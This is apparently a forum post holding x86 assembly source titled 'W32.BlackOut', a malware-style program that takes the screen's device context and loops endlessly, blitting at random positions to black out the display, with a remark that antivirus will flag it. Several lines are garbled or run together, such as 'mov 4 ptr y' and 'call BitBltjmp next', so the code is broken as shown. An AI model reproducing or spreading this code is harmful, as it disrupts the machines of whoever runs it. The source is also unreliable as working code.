W32.BlackOut

[JMC31337]

black out the GUI

.386       
.model flat    extrn MessageBoxA:proc
    extrn GetDC:proc
    extrn SetPixel:proc
    extrn GetSystemMetrics:proc
    extrn MessageBoxA:proc
    extrn GetPixel:PROC
    extrn BitBlt:PROC
.data
xc          dd 0                   ;width
yc          dd 0                   ;height
x            dd 0                  ;x-co
y            dd 0                  ;y-co
dc              dd 0
.code
start:        xor eax,eax                     
    push eax
    call GetDC
        mov dword ptr dc,eax            
        push 16                         
        call GetSystemMetrics           
    mov dword ptr xc,eax
    push 17
        call GetSystemMetrics           
    mov dword ptr yc,eax
next:
        mov eax,dword ptr xc        
    push eax
    call rand
    mov dword ptr x,eax
        mov eax,dword ptr yc       
    push eax
    call rand
    mov 4 ptr y,eax
    push 0                                 ; erase area flag
       push x                           ;
       push y                           ;
       push dc                      ;
       push xc                                 ; area size
       push yc                                 ; area size
       inc x                            ;
       inc y                            ;
       push x                           ;
       push y                           ;
       push dc                      ;
       call BitBltjmp next   rand  proc     ;THIS WIL GET FLAGGED BY AVIRA AV
push edx                        
db 0fh, 31h                    
xor edx, edx                    
div dword ptr [esp+8]           
mov al,40h                      
add dl,al                       
xchg eax, edx                   
pop edx                         
ret 4                           
rand  endp          
ends
end start

Edited December 15, 2010 by JMC31337